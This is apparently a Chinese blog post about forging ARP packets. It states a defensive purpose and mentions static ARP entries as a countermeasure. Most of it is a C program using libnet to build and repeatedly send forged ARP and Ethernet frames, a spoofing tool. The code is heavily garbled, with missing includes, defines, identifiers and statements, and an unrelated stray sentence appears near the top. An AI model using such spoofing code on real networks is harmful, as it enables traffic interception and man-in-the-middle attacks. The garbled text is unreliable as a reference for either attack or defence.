ARP数据包伪造
ARP数据包伪造
攻的最高境界便是不战,是和平。
静态arp表项轻松破解ARP伪造报文的攻击。我们研究伪造报文的目的在于深刻理解系统以更好地防御,而非攻击。
快应用程序的开发速度。
ForgeArp.c
#include <stdio.h>
#include <stdlib.h>
#include <.h>
#include <unistd.h>
#include <libnet.h>
MAC_ADDR_LEN 6
IP_ADDR_LEN 4
ForgeAndSendArp( * dev,unsigned * src_mac,unsigned * * src_ip_str, *dst_ip_str,uint16_t arpOp,unsigned libnet_t *net_t = unsigned src_ip,dst_ip = unsigned i= src_ip = (src_ip==- printf( dst_ip = (dst_ip==- printf(
printf( printf(
net_t = (net_t == printf(
p_tag = ARPHRD_ETHER,
ETHERTYPE_IP,
MAC_ADDR_LEN,
IP_ADDR_LEN,
arpOp,
(u_int8_t *)src_mac,
(u_int8_t *)&src_ip,
(u_int8_t *)dst_mac,
(u_int8_t *)&dst_ip,
NULL,
,
net_t,
(- == printf(
p_tag = libnet_build_ethernet(
(u_int8_t *)dst_mac,
(u_int8_t *)src_mac,
ETHERTYPE_ARP,
NULL,
,
net_t,
(- == printf(
i= (;i<sendTimes;i++ (- == (res = printf(